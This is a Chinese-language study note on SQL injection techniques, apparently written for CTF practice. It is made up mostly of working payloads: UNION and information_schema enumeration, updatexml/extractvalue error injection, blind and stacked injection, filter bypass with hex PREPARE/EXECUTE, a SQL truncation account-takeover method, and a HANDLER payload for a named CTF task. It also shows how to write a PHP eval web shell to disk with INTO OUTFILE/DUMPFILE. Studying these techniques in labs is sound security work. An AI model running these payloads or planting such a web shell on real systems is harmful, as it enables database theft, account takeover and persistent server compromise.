SQL注入笔记

SQL注入

1、通过order by爆出字段数

2、union操作,联合查询,查询的是在同一个数据表的数据,通过union select 1,2,3…,n来判断回显位置

3、information_schema数据库,为mysql自带数据库,提供数据库源数据访问,最常用的是

TABLES表:提供了关于数据库中表的信息

COLUMNS表:提供了表中列的信息

爆破库名:

union select 1,2,database()
//靠错误爆出库名
and exists(select * from aaa)
//aaa表并不存在,此时会报错停止并返回数据库名.aaa

爆破表名:

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
and exists(select * from 表名)//爆破出表名

爆破列名:

union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="想查询的表名"
and exists(select 列名 from 已知表名)//爆破出列名

4、报错注入

(1)updatexml:更新XML文档的函数

语法:updatexml(文档类型,xpath路径,更新的内容)

例子:

and updatexml(0x0a,concat(0x0a,(select database())),’1’)

0x0a代表换行符,concat拼接

拼接目的为使得查询结果能完全显示出来

(2)extractvalue:对XML文档进行查询的函数

语法:extractvalue(文档类型,xpath路径)

报错原理:路径中写入不合法的格式,就会报错并且返回我们写入的非法格式内容,我们可以利用这个得到我们想得到的内容

and (select extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema= 'sqli'))))

提示:报错最长显示30个字符内容,如果内容过长可使用substr函数进行拆分

​ 例题:CTFHub技能树web-SQL注入-报错注入

SQLError

​ 首先爆破库表列名

SQLError2

​ 进而发现flag过长用substr切割

SQLError3

​ 得到flag

5、盲注:

布尔盲注:回显只有两种情况,一种有一种无

if表达式:if(expr1,expr2,expr3)

expr1为真就返回expr2(可用于执行函数)

substr函数:substr(字符串,起始位置,截取长度)

ascii函数:将函数内字符以ascii表转换为数字,而后可以进行判断

时间盲注:无回显,可以通过sleep函数判断是否为时间盲注

建议直接sqlmap

(1)、sleep函数看延迟时间

(2)、benchmark(执行次数,方式),执行超多次看延迟时间

6、堆叠注入:通过语句分割符号( ; )分隔多条语句,直接将想要的数据插入到表中,然后再通过查询语句读取

7、mysql文件读写:读取:load_file函数:load_file(‘文件路径’)

写入:

select ‘<?php eval($_POST[cmd]);?>’ into outfile或dumpfile '绝对路径';//建议用dumpfile,因为outfile会在文件末行写入新行,使用的转译换行符,会破坏文件完整性,可能导致一句话木马无法执行

8、关键词绕过:通过

(1)、set@a:设定一个语句变量 set@sql=0x16进制数

(2)、prepare : 存储一个sql语句 存到execsql 里面 prepare execsql from @sql

(3)、execute :执行一个sql语句 execute execsql

由于设定语句变量时,mysql会自动将16进制数据转换为文字

9、零碎

to_base64(内容)//该语句将内容经过base64编码后输出
replace(ori,old,new)
%0a,/**/可代替空格
--+,%23,#将后面的语句注释

10、SQL约束攻击

在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。例如如下代码:

SELECT userId from user where username = 'test            '//看这里有很多空格

上述代码和username = ‘test’结果是一样的。但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串以便在比较之前使其它们的长度保持一致

在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅插入字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“testName”时,实际上只能插入字符串的前5个字符,即“testN”。

//注册示例代码
<?php
$username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT *
          FROM users
          WHERE username='$username'";
$res = mysql_query($query, $database);
if($res) {
  if(mysql_num_rows($res) > 0) {
  }
  else {
    $query = "INSERT INTO users(username, password)
?>

这里注册时使用用户名+【大量空格】和随机密码注册即可完成攻击。

主要原理就是insert时候有varchar(n)的限制,大于n的时候会截取前n个存入。在数据库对字符串进行比较时,即select操作,如果两个字符串的长度不一样,则会将较短的字符串末尾填充空格,使两个字符串的长度一致。注册时select语句不会将”admin+[大量空格]11”删减到n位,所以不会被select查出与admin重复,不会返回数据,接下来就可以插入admin+[空格](截取)11和自定义密码了。

如果使用用户名“vampire”和密码“random_pass”登录的话,对比时是admin与admin+[大量空格],会将前面的admin添加空格与后面的长度相同在进行对比,那么返回的只能是我们自己注册的用户信息,而不会返回目标用户信息。SQL查询语句是一个and操作,如果密码不一样怎么会把目标用户的信息也返回回来?

当登陆时使用admin与自定义密码登陆,数据库将返回我们自己注册的账户信息,但是注意此处的return $username,虽然此时查询出来的是我们自己的用户信息,但是返回的用户名则是目标的用户名。如果此后的业务逻辑直接以该用户名为准,则我们就达到了水平越权的目的。

HANDLER语句查询

出自该题[GYCTF2020]Blacklist,类似于某道堆叠注入的进阶版,但是该题过滤太多了,之前那道题的payload完全不可用了

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

知识点:handler语句查询


HANDLER tbl_name OPEN [ [AS] alias]
 
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
 
HANDLER tbl_name CLOSE

构造出语句如下

payload:
1';use supersqli;handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

distinct+列名可以去除重复值